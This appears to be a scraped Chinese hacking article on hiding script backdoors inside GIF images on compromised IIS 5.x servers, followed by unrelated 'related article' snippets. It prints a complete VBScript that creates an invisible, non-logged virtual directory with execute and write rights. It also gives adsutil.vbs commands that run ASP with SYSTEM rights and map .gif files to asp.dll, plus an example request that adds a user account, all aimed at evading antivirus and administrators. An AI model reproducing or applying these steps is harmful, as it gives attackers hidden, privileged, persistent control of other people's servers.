php病毒图片后缀名,脚本图片类后门病毒的完美使用方法

前两天,看了一篇《脚本注入图片新方法》的文章,相信很多人都通过这篇文章了解了如何在图片中加入脚本,以及如何在正常的asp(或php)文件中通过include函数使图片中的脚本产生效用。

但是,这种方法的问题又随之而来了:有人问道:通常脚本网页文件中如果想要插入一个图片,简简单单的一个html标签就解决了,如果我们用include代替的话,是否太过明显?虽然这种语句放在大型页面中手工查找有点麻烦,但如果是杀毒软件用特征码查找,看到include的是以.gif.jpg等扩展名结尾的语句,相信肯定会报警。

而我们若不用类似于include之类的函数的话,图片中的asp(或php)语句又怎会执行呢?难道要打电话叫网管帮忙吗?嘿嘿…… 所以问题就集中在用什么方法可以替代include函数的作用上了,因为注入图片的脚本可以变,所以可以不怕杀,怕就怕那句该死的include。

有什么方法呢?我曾经想过我们在入侵成功后可以在iis中添加应用程序映射,把.gif等图片的扩展名用asp.dll(或php.exe)解析,并把这虚拟目录的应用程序保护改为低,这样我们的后门就会有system权限了。当我们注入图片的脚本的作用是执行cmd命令的,我们就可以通过本地表单post我们要执行的命令给图片,当然也可以是get: 代码 /uploadfiles/newsphoto/xx.coma1.gif?cmd=dir 这种方法当然是好,可以突破include执行脚本了。但仍有不足,而且是明显的:这种方式虽然杀毒软件是查不出了,但是仍可明显看出:管理员只要查看一下应用程序映射,那么我们所有的工作都白费了。

想到这里,我突然想到了iis的那个著名漏洞(涉及iis5.0及iis5.1),我们可以在任意一个站点下建立一个不可见的虚拟目录(指的是intenet服务管理器中不可见,但利用adsutil.vbs依然可见),而且由于iis的特性,虚拟目录的应用程序映射及应用程序保护是与iis的默认站点分开设置的。由于虚拟目录不可见,他所有的属性当然也就不可见了。

所以我们可以安全的设置此目录的属性,而不用怕管理员发现。 当我们把这个虚拟目录指向服务器上另一个装满图片的物理目录(至于那找这种目录?我找到个好地方:windowz默认的墙纸目录,我的xp上是%systemroot%\web\wallpaper\目录)时……呵呵,大家想到什么了没?一旦我们修改其中两个图片,注入我们的脚本后门,然后把此目录的图片映射到asp.dll(或php.exe)上,应用程序保护改为低,就可以通过我上面讲的方法进行访问执行命令了。

而且是system权限哦!呵呵,是不是很爽?管理员怎么也不会想到自己的图片却会是致命的后门!(其实这种方法动鲨曾在x档案上发文章说过,但他的方法有一个缺陷:在非web目录中有asp(或php)文件,一旦发现,的确让人怀疑。而我们利用的是图片,相信管理员看到图片不会情绪过激的非要撕开了看个明白才罢休吧?呵呵……) 那么如何建立这个虚拟目录呢?我们可以在图形界面也可以利用自编脚本或是直接用iis自带的adsutil.vbs操作。

在此之前我先简单说明一下这个iis漏洞的原因:我们知道iis的配置文件是metabase.bin。这个文件位于%systemroot%\system32\inetsrv\metabase.bin,包含了几乎所有iis的配置信息,是非常重要的系统文件。简单的说,我们在“intenet服务管理器”中所作的一切设置最终都会被保存在metabase.bin中。在日常的系统管理中除了通过“intenet服务管理器”来对metabase.bin进行操作外,windows还提供了一个脚本adsutil.vbs可以对metabase.bin进行操作。

(AdWords)metabase的结构类似于注册表,也是树形结构,有类似键、值、项的概念。事实上在iis3和pws中,metabase的内容就是存储在注册表中的。metabase有两个主键:lm和schema。其中,schema保存了系统默认的一些配置,通常不需要修改,一旦改错也非常危险,所以无论是“intenet服务管理器”还是adsutil.vbs都没有提供修改schema的机制。lm中包含了iis的http服务,ftp服务,smtp服务等的配置信息。其中,lm/w3svc/下是我们要用到的http服务的配置信息。

其中有一个值:scriptmaps,代表脚本映射。当我们在某个虚拟目录下设定scriptmaps值后,则向该目录请求的特定扩展名的文件都会交给指定的isapi执行。需要强调的是,设定scriptmaps的目录并不一定要真实存在的,只要在metabase中某个http实例的root键下建了一个子键,对该字键同名的虚拟目录的http请求iis会认为是合法的,并会交由映射的isapi处理。

这样说可能谁都晕了(包括我),其实简单的作个类比:metabase的就够类似于注册表,我们知道,我们在安装有些程序的时候,安装程序会在注册表中建立一些必要的值,可我们一旦非正规把它安装的文件删除了时(比如有些朋友删游戏时就是直接往回收站一拉了事),注册表中的那些项就会被留下,没有用处,而造成注册表垃圾。metabase中也是那么回事,我们正常建立一个虚拟目录时,metabase中就会建立一些项。而当我们通过非正常手段删除了此虚拟目录时,那些项就会留下,与注册表不同的是,那些项还会起作用,只要我们用http请求了那个虚拟目录,iis就会依旧按照metabase中的原来的虚拟目录设置顺利返回。

所以即使目录不存在,只要他曾经存在过,那么就成立。呵呵,听懂了没?(ps:还没懂)晕,那就只好请您看动鲨的那篇文章了,他说得可比我清楚。 至于如何添加不可见的虚拟目录,动鲨的那篇文章说得很清楚了,我这里就不废话了,下面提供动鲨的添加不可见虚拟目录的脚本,保存为iis.vbs: 代码 help1=iis后门设置器 for win2000 by 动鲨 5月30号2004 年 help2=请输入正确的虚拟目录名称和映射的路径,格式如下 help3= cscript.exe iis.vbs 虚拟目录的名称 映射的路径 help4=例如: cscript.exe iis.vbs backdoor c:\ set args = wscript.arguments if args.count < 2 then wscript.echo help1 wscript.echo wscript.echo help2 wscript.echo wscript.echo help3 wscript.echo wscript.echo help4 wscript.quit end if strvrname=args(0) 虚拟目录名称 strrootpath=args(1) 虚拟目录路径 set checkvirtualdir=getobject(iis://localhost/w3svc/1/root) for each vr in checkvirtualdir if vr.name=lhxy then foundt =yes else foundt= no end if next if foundt =yes then wscript.echo 发现已经创建了lhxy目录,正在设置自定义的虚拟目录 creatvdir else wscript.echo 正在创建lhxy目录,以及自定义文件夹,请等待!

creatlhxy creatvdir end if wscript.echo 你创建的虚拟目录名称是& strvrname &,映射的文件夹是 & strrootpath &。 wscript.echo 请访问http://ip/lhxy/& strvrname &/ 来连接后门! wscript.echo 恭喜!后门设置全部完成! sub creatlhxy() set objdir=getobject(iis://localhost/w3svc/1/root) set mydir=objdir.create(iiswebvirtualdir,lhxy) mydir.accessread=true mydir.defaultdoc=mydir.defaultdoc mydir.appisolated=0 mydir.accessexecute=true mydir.dontlog=true mydir.accesssource=true mydir.enabledirbrowsing=true mydir.setinfo end sub sub creatvdir() set objvirtualdir=getobject(iis://localhost/w3svc/1/root/lhxy) set virdir=objvirtualdir.create(iiswebvirtualdir,strvrname) virdir.accessread=true virdir.path=strrootpath virdir.defaultdoc= virdr.accessexecute=true virdir.accesswrite=true virdir.accesssource=true virdir.appisolated=0 virdir.dontlog=true virdir.enabledirbrowsing=true virdir.appcreate 0 viddir.createprocessasuser=0 virdir.setinfo end sub wscript.quit 我记得bugkidz好像也曾经贴出过类似的脚本。呵呵,没仔细看,大家不要打我,自己找吧,或是找boy要,呵呵。

下面是通过adsutil.vbs把asp.dll添加到inprocessisapiapps数组中的命令,使得所有asp脚本都会以system权限执行。 代码 cscript adsutil.vbs set /w3svc/inprocessisapiapps c:\winnt\system32\idq.dll c:\winnt\system32\inetsrv\httpext.dll c:\winnt\system32\inetsrv\httpodbc.dll c:\winnt\system32\inetsrv\ssinc.dll c:\winnt\system32\msw3prt.dll c:\winnt\system32\inetsrv\asp.dll 不过需要注意,adsutil.vbs只能设,不能改,所以用adsutil.vbs的时候一定要把原先的也加上,否则原先的就会丢失。不同条目之间用空格分开。 然后把你的虚拟目录加上应用程序映射: 代码 cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/scriptmaps gif,c:\winnt\system32\inetsrv\asp.dll,1 我这里的虚拟目录是lhxy/wofeiwo,图片扩展名是.gif大家可以根据自己实际情况更改。 好了,我们看看效果吧: 代码 /uploadfiles/newsphoto/ofeiwoa1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/436181.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WPF指南之XAML概述

[转]WPF指南之XAML概述 周日, 05/04/2008 - 23:26 — robot 出处: it168要赢得世界&#xff0c;必须在恰当的时间做出恰当的事。这一点&#xff0c;微软做到了。历经微软DOS&#xff0c;Win 31, Win95, Win 98, Win 2k, WinXP, 一路走来&#xff0c;一次比一次热闹&#xff0c;…

如何修改wince的网络配置

如何修改wince的网络配置呢&#xff1f; 首先&#xff0c;必须知道网卡驱动名字。在s3c2410上&#xff0c;名字叫“CS8900”&#xff0c;用工具连接上wince查看他的注册表。你将可以得到下面的东西。 [HKEY_LOCAL_MACHINE/Comm/CS8900] "DisplayName""CS8900&qu…

【转】extern “C“以及__declspec(dllexport) 讲解和def文件dll导出方法

转自&#xff1a;https://blog.csdn.net/qing666888/article/details/41135245 一&#xff0c;__ declspec&#xff08;dllexport&#xff09;&#xff1a; 将一个函数声名为导出函数&#xff0c;就是说这个函数要被其他程序调用&#xff0c;即作为DLL的一个对外函数接口。通常…

php源码查找替换,php 替换模板中的 PHP源码标签字符方法

//替换php代码function RepPhpAspJspcode($string){global $public_r;if(!$public_r[candocode]){//$stringstr_replace("<?xml ","[!--ecms.xml--]",$string);$stringstr_replace("$stringstr_replace("\\>","\\>",$s…

【转】DICOM医学图像处理:浅析SWF、MWL、SPS、MPPS

转自&#xff1a;https://blog.csdn.net/zssureqh/article/details/40151107 背景&#xff1a; 最近重新花时间阅读了DICOM标准&#xff0c;顺带着看了一下HL7标准和IHE&#xff0c;对标题中提到的SWF、MWL、SPS和MPPS有了更进一步的认识&#xff0c;现将自己的理解整理出来&a…

Parallel Extensions CTP第二版发布

Parallel Extensions CTP第二版发布 LazyBee 2008年6月微软Parallel Extensions项目组发布了Parallel Extendsions CTP的第二个版本。这个版本主要包含以下组件&#xff1a; 1 任务并行库TPL(Task Parallel Library): 提供命令的方式将面向数据的操作以及轻量级的任务自动的运行…

wince中的背光灯控制

要控制背光灯就必须知道相关设置&#xff0c;以下是wince中背光灯的设置。在BL_ReadRegistry函数中被读取。 [HKEY_CURRENT_USER/ControlPanel/BackLight] "ACTimeout"dword:0000012c "UseExt"dword:00000001 "UseBattery"dword:00000001 …

Php点击更换封面,JavaScript_js实现点击图片改变页面背景图的方法,本文实例讲述了js实现点击图 - phpStudy...

js实现点击图片改变页面背景图的方法本文实例讲述了js实现点击图片改变页面背景图的方法。分享给大家供大家参考。具体实现方法如下&#xff1a;点击图片即改变页面的背景图片希望本文所述对大家的javascript程序设计有所帮助。相关阅读:C语言编程中统计输入的行数以及单词个数…

VistaDB 数据库,.NET的新选择

VistaDB 3.3 fully managed embedded database engine runs Nothing but .Net! Designed and built as a 100% managed code database engine. Now with TSQL Procs! 商业版&#xff0c;提供ADO.NET 2.0 的Provider。商业版。但是有 Express 版&#xff0c;可应用于非商业环境。…

wince中重启网卡

WCHAR Name[]_T("CS89001/0"); HANDLE m_hFileHandle CreateFile(_T("NDS0:"), 0, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE) INVALID_HANDLE_VALUE); if( m_hFileHandle INVALID_HANDLE_VALUE ) { //获得网卡名时打开设备错误 …

【转】DICOM的常用Tag分类和说明

转自&#xff1a;https://blog.csdn.net/inter_peng/article/details/46513847 1. 前言&#xff1a; 基于DICOM3.0标准的医学图像中&#xff0c;每一张图像中都携带着许多的信息&#xff0c;这些信息主要可以分为Patient, Study, Series和Image四类。每一个DICOM Tag都…

matlab电压稳定极限,电力系统电压稳定性的Matlab建模分析

Matlab软件作为一个编程效率高、程序设计灵活、图形功能强的工程实用的分析软件,在电力系统的仿真分析及相关计算中得以广泛应用,特别是其中的Simulink工具箱可以实现电力系统的模型建立及动态仿真[1].但是在实际应用中,特别是针对电力系统的动态过程分析,Simulink存在以下2个问…

串口通讯基础及S3C2410 UART控制器

数据通信的基本方式可分为并行通信与串行通信两种&#xff1a; 并行通信&#xff1a;是指利用多条数据传输线将一个资料的各位同时传送。它的特点是传输速度快&#xff0c;适用于短距离通信&#xff0c;但要求通讯速率较高的应用场合。 串行通信&#xff1a;是指利用一条传输线…

几个实用的Servlet应用例子-入门、cookie、session及上传文件

1Servlet可以被认为是服务端的applet&#xff0c;它被WEB服务器加载和执行&#xff0c;前端可以显示页面和获得页面数据&#xff0c;后台可以操纵数据库&#xff0c;能完成JavaBean的很多功能。在这里我较为详细的说说Servlet在Cookie&#xff0c;Session和上传文件上的应用&am…

【转】DICOM医学图像处理:DIMSE消息发送与接收“大同小异”之DCMTK fo-dicom mDCM

转自&#xff1a;https://my.oschina.net/zssure/blog/354816 背景&#xff1a; 从DICOM网络传输一文开始&#xff0c;相继介绍了C-ECHO、C-FIND、C-STORE、C-MOVE等DIMSE-C服务的简单实现&#xff0c;博文中的代码给出的实例都是基于fo-dicom库来实现的&#xff0c;原因只有一…

php记录登录时间,php记录 用户当前页面停留时间

onunload JS定时器 ajax 实现每秒写一次数据库肯定是不行的资源释放都来不及&#xff0c;使用js计时器&#xff0c;在离开页面时&#xff0c;调用ajax异步插入数据库&#xff0c;即不延迟跳转&#xff0c;也不会占用资源&#xff0c;插入完就释放了HTML onunload 事件属性定义…

WinCE驱动开发问题精华集锦

如何让系统加载自己写的驱动程序&#xff1f;两种办法&#xff1a; 1、在[HKEY_LOCAL_MACHINE/Drivers/BuiltIn]下添加注册键。 2、在应用程序中调用ActivateDeviceEx。 在一些文件中用分号来表示注释&#xff0c;例如下面的内容 ; CESYSGEN IF SERVERS_MODULES_HTTPD …

公司间交易学习笔记---概述

本系列笔记是我在学习公司间交易的过程中的随笔&#xff0c;有些是我自己的想法&#xff0c;内容可能跟教程有所出入&#xff0c;由于对AX的应用部分理解得很浅&#xff0c;所以如果错误还请多多指教。 为了处理集团公司中各个分公司之间的交易&#xff0c;AX采用了InterCompan…

【转】走进windows编程的世界-----对话框、文本框、按钮

一、对话框 1 对话框的分类 2 对话框的基本使用方式 3 对话框资源 4 有模式对话框的使用 int DialogBox( HINSTANCE hInstance, LPCTSTR lpTemplate, HWND hWndParent, DLGPROC lpDialogFunc ); 5 无模式对话框的使用 5.1 添加对话框资源 5.2 定义窗口处理函数 …

php接口datatype= text,关于php:dataType:“json”不起作用

我正在尝试使用数组中的json将多个变量从php文件发送回ajax。 php文件中的代码完美运行&#xff0c;并且应该像我的数据库一样完成所有操作。 但是当我在ajax中添加dataType&#xff1a;"json"时&#xff0c;php文件中就没有任何事情发生了。 我google了一下&#xf…